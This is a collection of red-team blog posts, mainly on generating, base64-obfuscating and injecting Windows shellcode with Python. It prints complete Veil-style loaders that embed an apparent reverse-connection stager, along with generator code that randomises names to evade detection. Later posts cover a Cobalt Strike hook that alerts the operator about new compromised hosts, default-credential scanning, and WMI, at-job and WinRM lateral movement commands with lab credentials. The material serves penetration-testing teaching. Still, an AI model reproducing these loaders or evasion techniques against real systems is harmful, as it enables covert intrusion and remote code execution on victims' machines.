Author: Christopher Truncer

Shellcode Generation, Manipulation, and Injection in Python 3

Christopher Truncer Development , , , , 1 Comment

It’s no secret that I’ve been working on updating Veil and will soon be releasing Veil 3.0. In the process, I’ve learned quite a bit about Python 2 and 3. Veil-Evasion was developed in Python 2 and after attempting to recreate some of the same capabilities in Python 3, I’ve learned how “loose” Python 2 can be. We were able to get away with various commands where Python 3 explicitly requires us to define what is being done.

Want to see how shellcode injection works in Python 2.0? Here’s a sample Python 2 flat script which includes no obfuscation:

EUPnBcpNWMwGi = bytearray('\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\xc0\xa8\xa2\x91\x68\x02\x00\x21\xe3\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3')
import ctypes as ZKWXnIdQAuP
VjdMidBttQlbLnR = ZKWXnIdQAuP.windll.kernel32.VirtualAlloc(ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(len(EUPnBcpNWMwGi)),ZKWXnIdQAuP.c_int(0x3000),ZKWXnIdQAuP.c_int(0x40))
WgHYTWhElnnZ = (ZKWXnIdQAuP.c_char * len(EUPnBcpNWMwGi)).from_buffer(EUPnBcpNWMwGi)
ZKWXnIdQAuP.windll.kernel32.RtlMoveMemory(ZKWXnIdQAuP.c_int(VjdMidBttQlbLnR),WgHYTWhElnnZ,ZKWXnIdQAuP.c_int(len(EUPnBcpNWMwGi)))
IaoYNg = ZKWXnIdQAuP.windll.kernel32.CreateThread(ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(VjdMidBttQlbLnR),ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.c_int(0),ZKWXnIdQAuP.pointer(ZKWXnIdQAuP.c_int(0)))
ZKWXnIdQAuP.windll.kernel32.WaitForSingleObject(ZKWXnIdQAuP.c_int(IaoYNg),ZKWXnIdQAuP.c_int(-1))

And now, here’s the same script written for Python 3:

import ctypes as bDlDmsfMyuV
miiJDEKLsxLjbM = b'\xfc\xe8\x86\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x8b\x4c\x10\x78\xe3\x4a\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x89\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x09\x68\xc0\xa8\xa2\x91\x68\x02\x00\x21\xe3\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3'
wiseZERld = bDlDmsfMyuV.windll.kernel32.VirtualAlloc(bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(len(miiJDEKLsxLjbM)),bDlDmsfMyuV.c_int(0x3000),bDlDmsfMyuV.c_int(0x40))
bDlDmsfMyuV.windll.kernel32.RtlMoveMemory(bDlDmsfMyuV.c_int(wiseZERld),miiJDEKLsxLjbM,bDlDmsfMyuV.c_int(len(miiJDEKLsxLjbM)))
CVXWRcjqxL = bDlDmsfMyuV.windll.kernel32.CreateThread(bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(wiseZERld),bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.c_int(0),bDlDmsfMyuV.pointer(bDlDmsfMyuV.c_int(0)))
bDlDmsfMyuV.windll.kernel32.WaitForSingleObject(bDlDmsfMyuV.c_int(CVXWRcjqxL),bDlDmsfMyuV.c_int(-1))

You can see there is a difference in how the shellcode is being handled. In Python 2, I’m storing the shellcode as a bytearray, vs. Python 3 it’s stored as bytes. This isn’t a huge difference, but a larger change can be seen when manipulating shellcode, such as storing it in a base64 decoding script.

This is how I am able to generate shellcode and base64 encode it to be decoded at runtime in a script in Python 2:

# Generate Shellcode Using msfvenom
Shellcode = self.shellcode.generate(self.required_options)

# Base64 Encode Shellcode
EncodedShellcode = base64.b64encode(Shellcode)

# Generate Random Variable Names
ShellcodeVariableName = helpers.randomString()
RandPtr = helpers.randomString()
RandBuf = helpers.randomString()
RandHt = helpers.randomString()
RandT = helpers.randomString()
randctypes = helpers.randomString()

PayloadCode = 'import ctypes as ' + randctypes + '\n'
PayloadCode += 'import base64\n'
PayloadCode += RandT + " = \"" + EncodedShellcode + "\"\n"
PayloadCode += ShellcodeVariableName + " = bytearray(" + RandT + ".decode('base64','strict').decode(\"string_escape\"))\n"
PayloadCode += RandPtr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x40))\n'
PayloadCode += RandBuf + ' = (' + randctypes + '.c_char * len(' + ShellcodeVariableName  + ')).from_buffer(' + ShellcodeVariableName + ')\n'
PayloadCode += randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + RandBuf + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
PayloadCode += RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
PayloadCode += randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

if self.required_options["USE_PYHERION"][0].lower() == "y":
    PayloadCode = encryption.pyherion(PayloadCode)

return PayloadCode

At line 2, we’re receiving a string which essentially contains shellcode similar to ‘\x41\x7d\x00\x0a…’. This string is encoded, and then stored in output payload code. The code which this module creates looks like this:

import ctypes as rLkdwnPpzMBnJr
import base64
IesGKFkNFMC = "XHhmY1x4ZThceDg2XHgwMFx4MDBceDAwXHg2MFx4ODlceGU1XHgzMVx4ZDJceDY0XHg4Ylx4NTJceDMwXHg4Ylx4NTJceDBjXHg4Ylx4NTJceDE0XHg4Ylx4NzJceDI4XHgwZlx4YjdceDRhXHgyNlx4MzFceGZmXHgzMVx4YzBceGFjXHgzY1x4NjFceDdjXHgwMlx4MmNceDIwXHhjMVx4Y2ZceDBkXHgwMVx4YzdceGUyXHhmMFx4NTJceDU3XHg4Ylx4NTJceDEwXHg4Ylx4NDJceDNjXHg4Ylx4NGNceDEwXHg3OFx4ZTNceDRhXHgwMVx4ZDFceDUxXHg4Ylx4NTlceDIwXHgwMVx4ZDNceDhiXHg0OVx4MThceGUzXHgzY1x4NDlceDhiXHgzNFx4OGJceDAxXHhkNlx4MzFceGZmXHgzMVx4YzBceGFjXHhjMVx4Y2ZceDBkXHgwMVx4YzdceDM4XHhlMFx4NzVceGY0XHgwM1x4N2RceGY4XHgzYlx4N2RceDI0XHg3NVx4ZTJceDU4XHg4Ylx4NThceDI0XHgwMVx4ZDNceDY2XHg4Ylx4MGNceDRiXHg4Ylx4NThceDFjXHgwMVx4ZDNceDhiXHgwNFx4OGJceDAxXHhkMFx4ODlceDQ0XHgyNFx4MjRceDViXHg1Ylx4NjFceDU5XHg1YVx4NTFceGZmXHhlMFx4NThceDVmXHg1YVx4OGJceDEyXHhlYlx4ODlceDVkXHg2OFx4MzNceDMyXHgwMFx4MDBceDY4XHg3N1x4NzNceDMyXHg1Zlx4NTRceDY4XHg0Y1x4NzdceDI2XHgwN1x4ZmZceGQ1XHhiOFx4OTBceDAxXHgwMFx4MDBceDI5XHhjNFx4NTRceDUwXHg2OFx4MjlceDgwXHg2Ylx4MDBceGZmXHhkNVx4NTBceDUwXHg1MFx4NTBceDQwXHg1MFx4NDBceDUwXHg2OFx4ZWFceDBmXHhkZlx4ZTBceGZmXHhkNVx4OTdceDZhXHgwOVx4NjhceGMwXHhhOFx4YTJceDkxXHg2OFx4MDJceDAwXHgyMVx4ZTNceDg5XHhlNlx4NmFceDEwXHg1Nlx4NTdceDY4XHg5OVx4YTVceDc0XHg2MVx4ZmZceGQ1XHg4NVx4YzBceDc0XHgwY1x4ZmZceDRlXHgwOFx4NzVceGVjXHg2OFx4ZjBceGI1XHhhMlx4NTZceGZmXHhkNVx4NmFceDAwXHg2YVx4MDRceDU2XHg1N1x4NjhceDAyXHhkOVx4YzhceDVmXHhmZlx4ZDVceDhiXHgzNlx4NmFceDQwXHg2OFx4MDBceDEwXHgwMFx4MDBceDU2XHg2YVx4MDBceDY4XHg1OFx4YTRceDUzXHhlNVx4ZmZceGQ1XHg5M1x4NTNceDZhXHgwMFx4NTZceDUzXHg1N1x4NjhceDAyXHhkOVx4YzhceDVmXHhmZlx4ZDVceDAxXHhjM1x4MjlceGM2XHg4NVx4ZjZceDc1XHhlY1x4YzM="
CnnDRU = bytearray(IesGKFkNFMC.decode('base64','strict').decode("string_escape"))
usGGTaLShwINu = rLkdwnPpzMBnJr.windll.kernel32.VirtualAlloc(rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(len(CnnDRU)),rLkdwnPpzMBnJr.c_int(0x3000),rLkdwnPpzMBnJr.c_int(0x40))
TaEkbM = (rLkdwnPpzMBnJr.c_char * len(CnnDRU)).from_buffer(CnnDRU)
rLkdwnPpzMBnJr.windll.kernel32.RtlMoveMemory(rLkdwnPpzMBnJr.c_int(usGGTaLShwINu),TaEkbM,rLkdwnPpzMBnJr.c_int(len(CnnDRU)))
TuQYnf = rLkdwnPpzMBnJr.windll.kernel32.CreateThread(rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(usGGTaLShwINu),rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.c_int(0),rLkdwnPpzMBnJr.pointer(rLkdwnPpzMBnJr.c_int(0)))
rLkdwnPpzMBnJr.windll.kernel32.WaitForSingleObject(rLkdwnPpzMBnJr.c_int(TuQYnf),rLkdwnPpzMBnJr.c_int(-1))

This script decodes the base64 encoded string (the shellcode), and then string escapes the shellcode. After that, the escaped shellcode is injected into memory and run. Python 2 makes this fairly simple to do, Python 3, is a little more strict with the datatypes that are used.

For example, this is how I am generating shellcode and encoding it prior to embedding it within a script in Python 3:

# Generate the shellcode
Shellcode = self.shellcode.generate(self.cli_opts)
Shellcode = Shellcode.encode('latin-1')
Shellcode = Shellcode.decode('unicode_escape')

# Base64 Encode Shellcode
EncodedShellcode = base64.b64encode(bytes(Shellcode, 'latin-1')).decode('ascii')

payload_code = 'import ctypes as ' + randctypes + '\n'
payload_code += 'import base64\n'
payload_code += ShellcodeVariableName +' = base64.b64decode(\"' + EncodedShellcode + '\")\n'
payload_code += RandPtr + ' = ' + randctypes + '.windll.kernel32.VirtualAlloc(' + randctypes + '.c_int(0),' + randctypes + '.c_int(len('+ ShellcodeVariableName +')),' + randctypes + '.c_int(0x3000),' + randctypes + '.c_int(0x40))\n'
payload_code += randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + RandPtr + '),' + ShellcodeVariableName + ',' + randctypes + '.c_int(len(' + ShellcodeVariableName + ')))\n'
payload_code += RandHt + ' = ' + randctypes + '.windll.kernel32.CreateThread(' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.c_int(' + RandPtr + '),' + randctypes + '.c_int(0),' + randctypes + '.c_int(0),' + randctypes + '.pointer(' + randctypes + '.c_int(0)))\n'
payload_code += randctypes + '.windll.kernel32.WaitForSingleObject(' + randctypes + '.c_int(' + RandHt + '),' + randctypes + '.c_int(-1))\n'

Immediately there’s a difference with how shellcode generation and manipulation is handled. In this case, line 2 still receives the shellcode as a string similar to ‘\x41\x7d\x00\x0a…’, but you can’t base64 encode a string in Python 3, it requires input to be in the form of bytes. Unfortunately, .encode() on the shellcode doesn’t properly encode the shellcode for injection later on in the script. It took a while, but with the help of @raikiasec, we were able to figure out that encoding shellcode with latin-1 formatting (.encode(‘latin-1’)) allowed the string shellcode to be properly encoded.

Obviously, that wasn’t the only step that needs to be taken. After encoding in ‘latin-1’ format, the shellcode needs to be unicode escaped, and then re-encoded in latin-1 to return it to a byte format (hint: every time you .encode() something, you convert from a string to bytes. Each time you .decode() something, you convert from bytes to a string). The final latin-1 encoding is all that is needed, and then the shellcode is base64 encoded. Beyond that, Base64 encoding returns bytes, so the bytes output needs to be decoded as ascii, and then stored in the output Python script.  Once this is done, it creates a script similar to below:

import ctypes as AKkkiwvmOTZmuXU
import base64
mMgzKuJ = base64.b64decode("/OiGAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8i0wQeONKAdFRi1kgAdOLSRjjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ldaDMyAABod3MyX1RoTHcmB//VuJABAAApxFRQaCmAawD/1VBQUFBAUEBQaOoP3+D/1ZdqCWjAqKKRaAIAIeOJ5moQVldomaV0Yf/VhcB0DP9OCHXsaPC1olb/1WoAagRWV2gC2chf/9WLNmpAaAAQAABWagBoWKRT5f/Vk1NqAFZTV2gC2chf/9UBwynGhfZ17MM=")
COZaAf = AKkkiwvmOTZmuXU.windll.kernel32.VirtualAlloc(AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(len(mMgzKuJ)),AKkkiwvmOTZmuXU.c_int(0x3000),AKkkiwvmOTZmuXU.c_int(0x40))
AKkkiwvmOTZmuXU.windll.kernel32.RtlMoveMemory(AKkkiwvmOTZmuXU.c_int(COZaAf),mMgzKuJ,AKkkiwvmOTZmuXU.c_int(len(mMgzKuJ)))
WzFChtFNp = AKkkiwvmOTZmuXU.windll.kernel32.CreateThread(AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(COZaAf),AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.c_int(0),AKkkiwvmOTZmuXU.pointer(AKkkiwvmOTZmuXU.c_int(0)))
AKkkiwvmOTZmuXU.windll.kernel32.WaitForSingleObject(AKkkiwvmOTZmuXU.c_int(WzFChtFNp),AKkkiwvmOTZmuXU.c_int(-1))

The hardest concept for me to grasp was learning the proper encoding/decoding format that the shellcode needs to be in for the different types of manipulation that I would perform on the shellcode (base64 encoding, letter substitution, encryption, etc.). Hopefully by giving some code examples here, this can help anyone else that is looking into using Python 3 to manipulate shellcode, inject it into memory, or more.

If there’s a better way to do the above, or if you have any questions, don’t hesitate to send a message my way! Otherwise, be sure to check out Veil 3’s release at NullCon and you’ll have plenty of example to look at!

Receiving Text Messages for your Incoming Beacons

Christopher Truncer Development, Pen Test Techniques , , 3 Comments

Whether it be through phishing, or some other means, waiting for your incoming beacons can be an anxious moment.  Every time I send off phishing e-mails, I anxiously await to receive the incoming beacons.  I personally want to know and be alerted the second that I receive a beacon, so I figured this would be a great time to work with Raphael Mudge’s scripting language that’s built right into Cobalt Strike – Aggressor.

Aggressor is an event-driven language, very similar to scripts people may have developed for IRC.  One of the events built into Aggressor is “beacon_initial“.  This event is triggered when a beacon is established for the first time.  Using this event, you can have Cobalt Strike do “something” when a beacon first checks in.

Aggressor is based on the language Sleep (also by Raphael Mudge) which supports an “exec” function.  So to tie this all together, we can have Aggressor run a command when each new beacon first checks in.  Sounds like I can just write a script that texts me with some of the information I’m interested in receiving for each new beacon!

The Aggressor script can be found here, so let’s go through this and learn what’s happening.

 
on beacon_initial { 
    local('$computer');
    local('$internal');
    $computer = beacon_info($1, "computer");
    $internal = beacon_info($1, "internal");
    exec("/root/cobaltstrike/emailme.py --ip " . $internal . " --computer '" . $computer . "'");
}

The “beacon_initial” is the event that triggers when a beacon first checks in.  The “local” commands are used to declare the contained string as a local variable.  These will store the internal IP and computer name of the beacon that just checked in.  The “beacon_info” commands allows us to retrieve metadata about the incoming beacon, in this case the internal IP and computer name.  Finally, the “exec” command executes the script at the location I’ve specified. Now, all that is needed is a script that sends the text messages!

This can be easily done using Python, and I have a script here that does it.

#!/usr/bin/env python

import argparse
import smtplib
from email.MIMEMultipart import MIMEMultipart
from email.MIMEText import MIMEText

parser = argparse.ArgumentParser(description='beacon info')
parser.add_argument('--computer')
parser.add_argument('--ip')
args = parser.parse_args()

fromaddr = ""
toaddr = ["7777777777@txt.att.net", "8888888888@vtext.com"]
msg = MIMEMultipart()
msg['From'] = fromaddr
msg['To'] = ", ".join(toaddr)
msg['Subject'] = "INCOMING BEACON"

hostname = args.computer
internal_ip = args.ip

body = "Check your teamserver! \nHostname - " + hostname + "\nInternal IP - " + internal_ip
msg.attach(MIMEText(body, 'plain'))

server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(fromaddr, "")
text = msg.as_string()
server.sendmail(fromaddr, toaddr, text)
server.quit()

This script was modified from another script I found online. It uses gmail (you will need to provide a username and password) to send e-mails to addresses that you specify. In this case, it’s sends e-mails to the addresses for AT&T and Verizon that translates e-mails to text messages (just change the phone numbers in the toad variable). Now, anytime that I receive an incoming beacon, this script is triggered and I receive a text message containing the hostname and internal ip of the compromised system!

You can run this one of two ways. While connected to your team server, just load up the Script Console, load your script, and you’re good to go. However, this obviously requires you to stay connected to your team server. Your other option is to use the “agscript” binary that comes with Cobalt Strike. This program lets you connect to a team server and run a script, without requiring the Cobalt Strike client. An easy way to use this is to SSH to your team server, start a screen session, and run the agscript binary in the background with the above Aggressor script. Now, anytime you receive a beacon, your Aggressor script will trigger your e-mail script which texts you to notify you of the new beacon!

Agscriptvid

Text

EyeWitness and Active Scanning

Christopher Truncer IT Security , Leave a comment

You can clone/download EyeWitness to test active scans here: https://github.com/ChrisTruncer/EyeWitness

Since its release, EyeWitness has purely been a passive scanner. Its focus has been to take screenshots of web applications, and attempt to identify any default credentials that might be associated with that web application. In my experience, it works well to save me the time from having to look up account information. While there are other features, this has been EyeWitness’s primary MO.

For a while, it’s been requested that EyeWitness integrate active scanning features to actually test and see what user accounts are genuinely valid, but it’s just never been in EyeWitness’s functionality.. until now.

Evan Pena (@Evan_Pena2003) just submitted a pull request to EyeWitness which has just been merged into the master branch. While it is currently limited in scope, active user account scanning functionality has just been merged into EyeWitness!

scan

raikia

When you use the –active-scan command line flag, EyeWitness will attempt to find common locations of login forms, and if one is found, it will attempt to validate commonly used credentials and see if they work for the specific web application being tested. Additionally, we are now able to create more targeted “signatures” that can be used to specify paths for each unique web application and the credentials that should be tested against it.

Datafile Creds

For example, the –active-scan feature now can test tomcat manager web applications with various username and password combinations to see if any are valid. If a valid user/pass combo is found, EyeWitness will not only alert within the console, but the report itself has a new category called “Successful Logins” to highlight the applications where EyeWitness could successfully log into it.

Raikiareport

As of now, the “database” of web applications isn’t large. However, this is the same situation we were in when EyeWitness began passively scanning for default credentials. As the database is built out, I’ll have the ability to add more web applications in and identify more credentials for each web app.

I’m really happy to have had this feature added in from the community, and I look forward to adding to the web application database and identify more credentials with each scan.

EyeWitness XML Parsing Updated

Christopher Truncer Development , , Leave a comment

Since the first release of EyeWitness, the tool has supported input formats of both text files, and XML output from Nessus and Nmap. There’s two main ways to parse XML, the Document Object Model (DOM) and Simple API for XML Parsing (SAX). The main difference is when using DOM to parse XML, the whole XML document is loaded into memory and analyzed. SAX is essentially a stream based parser and loads small pieces of the XML in memory at a time. DOM is faster at parsing XML since the entire file is loaded into memory, but this comes as a memory cost. EyeWitness has always used DOM based parsing since it is faster and I had yet to encounter a failure in parsing due to this design decision.

However, I can no longer make that claim. Viss has become my edge case (and I’m now certain that others who perform the same work/scans are as well. Also, I make this claim that he is my edge case jokingly :)). A couple months ago Viss had contacted me to let me know EyeWitness was crashing after trying to parse an XML document. This XML file was the output from (I believe) scanning the whole internet. It was a funny conversation, but showed that I needed to change how EyeWitness parses XML in order to handle these larger scans (I’m talking nearly a gig, I believe, for a single XML file).

EyeWitness has now been modified to use SAX-based XML parsing. The tradeoff is that there might be slightly longer XML parsing times, but this will ensure that EyeWitness is able to parse anything you can throw at it (until someone comes with my next edge case :)). The slightly longer parsing times for XML will likely not even be noticeable for nearly all users.

With this change, some small modifications to EyeWitness command line options have been added. Previously when you passed a file into EyeWitness, it would auto-detect if it is an XML file or text file, and parse accordingly. I’ve now separated the commands out, and you will either specify a file (with the -f flag) or an xml file (with the -x flag). This is now present within the help menu:

Xmlparse

This change has now been pushed into the master EyeWitness branch. If you have any questions, don’t hesitate to reach out and ask (@ChrisTruncer).

Thanks!

Built-In Lateral Movement Tools

Christopher Truncer IT Security, Pen Test Techniques, Red Teaming , , , , 3 Comments

I’m writing this post to hopefully help serve as a reference that documents multiple ways you can move laterally within a network.  There’s a bunch of different tools that are built right into Windows which help facilitate lateral movement, how kind of Microsoft :).  For now, lets start looking over our options.

WMI – Windows Management Instrumentation

WMI has become more and more prevalent to red teamers and hackers after Matt Graeber really helped bring out its usefulness at Blackhat.  WMI allows you to do so many different things that it would take multiple blog posts to document, however I’ll try to go over the useful things right now.  One thing to note: WMI for nearly all cases requires local administrative access on a system, so you will need to be running in the context of a user that has local admin access (or provide the credentials) on the system you are targeting.

One of the classes that’s immediately useful is the Win32_Process class.  This allows us to create and run a process on a machine, local or remote.  I wrote a PowerShell tool called WMIOps which easily allows you to use WMI to create a process on a remote system, such as powershell, or running any other command.  For example, lets say there was a system called “win7pdws2-pc” on the domain “sonofflynnlab” with a local admin username “test2” and password “P@ssword123”.  If you wanted to start “notepad.exe” on the remote system, you could use WMIOps and run:

Invoke-ExecCommandWMI -User sonofflynnlab\test2 -Pass P@ssword123 -Command notepad.exe -Targets win7pdws2-pc

Start processes on a remote system using WMI

This command will start notepad.exe on the testwinpc, and you have remote code execution!   The ReturnValue of “0” lets us know that it executed successfully.  On our target system, we can see notepad.exe is running.

notepadrunning

This is useful when you may not be able to access a system over SMB, but you can using WMI.  Also, WMI is generally a sneakier way (at the moment) of executing code on remote systems as you are not having to drop anything to disk.

At Jobs

At jobs are way to schedule and start a process on a remote system.  Similar to WMI, you will need local administrative rights on the system in order to schedule an at job.  To schedule an at job, at a minimum you will need to provide the path to the file you want to run and the time you want the process started.  So lets get the current time on the remote system, to do this, just run:

net time \\<computername>

nettime

Since the current time on the target system is 11:50 AM, lets schedule a job to run about 3 minutes in the future.  In this example, I want to start notepad.exe on the target system.  To schedule this job, I can just run the following:

at \\win7pdws2-pc 11:53 notepad.exe

atjobcli

I can see that my job is job number 2 for this system.  Now, when the system hits 11:53 AM, it will run the notepad.exe process.  One key difference between using at jobs and WMI is WMI runs in the context of the account you provided.  At jobs run as system.

atjobrunning

You can also use WMI to schedule jobs on a remote system.  WMIOps allows you to easily list, delete, and create jobs on a remote system.  So, lets say you wanted to use WMIOps to create a job at 12:18 to start notepad.exe.  You would run the following command:

Invoke-SchedJobManipulation -User sonofflynnlab\test2 -Pass P@ssword123 -Targets win7pdws2-pc -Create notepad.exe -Time 12:18

wmiopsjobschedule

Creating the job was successful, and we can see our job was assigned JobID 3.

Powershell Remoting

WinRM is a very nifty way to execute PowerShell code on a remote system.  As with the previous options, it will require that you have local administrative rights on the system you are targeting.

If WinRM is enabled on the system you are targeting, you can execute PowerShell commands on the target, giving you the flexibility of PowerShell.  The ports that you would probably see WinRM listening on is 5985 (http), or 5986 (https) (source).

To use WinRM to run a program/execute code on your target system, you could use the Invoke-Command cmdlet:

Invoke-Command -ComputerName win7pdws2-pc -ScriptBlock { hostname }

Invoke-Command -ComputerName win7pdws2-pc -ScriptBlock { ping 8.8.8.8 }

winrm

Raphael Mudge has a great post on using WinRM.  Be sure to check it out!

Remote Desktop

I don’t think I really need to go into any sort of description for this :).  Remote desktop is useful on servers where you can connect remotely without interrupting a users session.  RDPing into someone’s workstation can cause issues, and can be easily detected.  I wouldn’t recommend RDPing into a workstation unless it’s not being used at all.

Still want to try to RDP in?  WMIOps also has a function called Find-ActiveUsersWMI.  When you point this function at a workstation, it will attempt to see if LogonUI.exe or a *.scr (screensaver) process is running.  If either are running, it will let you know the user is likely not at their workstation.  If neither are, they probably are there!  To check, just use:

Find-ActiveUsersWMI -User sonofflynnlab\test2 -Pass P@ssword123 -Targets winypdws2-pc

usersactivecheck

 

I hope this helps to document a couple of tools built into Windows which helps to facilitate lateral movement within a network.  By no means is this an all-inclusive list, but a start.  If there’s something else you think is worth calling out in this post, please be sure to let me know!

 

 

WMIOps 1.1

Christopher Truncer Development, IT Security, Pen Test Techniques Leave a comment

After it’s initial release, I’ve had some feedback which has led to additional functionality within WMIOps, and I’ll be pushing it out in this WMIOps 1.1 release.  This release is fairly minor with two functions being added in, and an enhancement to an existing one.

Github Repo: https://github.com/ChrisTruncer/WMIOps

Some of the changes include:

  • Invoke-FileTransferOverWMI – This now has an “Execute” switch that can be provided on the command line.  If used, once a file has been uploaded to your target machine, the function will use WMI to execute/run the uploaded file.  This is now a different way to get code execution on a remote system vs. Invoke-CreateShareandExecute.
  • Get-SystemDrivesWMI – This function will enumerate local and network drives on the targeted system and return information about them (path, size, etc.)
  • Get-ActiveNICsWMI – This function will enumerate all network cards that the target system is using (read has an IP address).  All active connections will be returned

Introducing WMIOps

Christopher Truncer Development, Pen Test Techniques , 3 Comments

Over the past year or two, I think everyone has seen an increasing use of WMI by attackers everywhere.  WMI is very interesting medium for carry out various actions across hosts on a network.  While for the most use cases you will need local administrative rights, once obtained you can easily query, search, and compromise remote machines all over WMI.  Matt Graeber spoke about using WMI for C2 at Blackhat and really sparked my interest.  He then went on to release Invoke-WmiCommand which is a proof of concept script for executing powershell on a remote system and using WMI for its C2 channel.  After learning a  lot about how he implemented this, I decided to play around with WMI and see what actions I can do on remote systems over WMI and started working on WMIOps.

Github Repo: https://github.com/ChrisTruncer/WMIOps

Since that point about a month ago, I’ve got to a point where I am able to push out the initial version of WMI-Ops, written in powershell, which performs various actions over WMI on targeted machines.  Some of these functions are essentially wrappers for built-in powershell cmdlets, but were written because I find it easier to interact with them in this manner.  The functions included within the initial release of WMI-Ops, and a brief description of what they do are:

  • Invoke-ExecCommandWMI – This function will run any command you give it on the targeted system.  This will not return output of the command to the console.
  • Invoke-KillProcessWMI – This function is used to kill a process on a remote system via process ID or process name on the targeted system.
  • Get-RunningProcessesWMI – This function will return all running processes on the targeted machine.
  • Get-ProcessOwnersWMI – This function will return every user account that has a process running on the targeted system.
  • Find-ActiveUsersWMI – This function will attempt to determine if a user is currently active at the targeted system.  This works by checking to see if LogonUi.exe or a screen saver is currently running on the remote system.  If either process is running, I am assuming the user is not currently at their desktop.
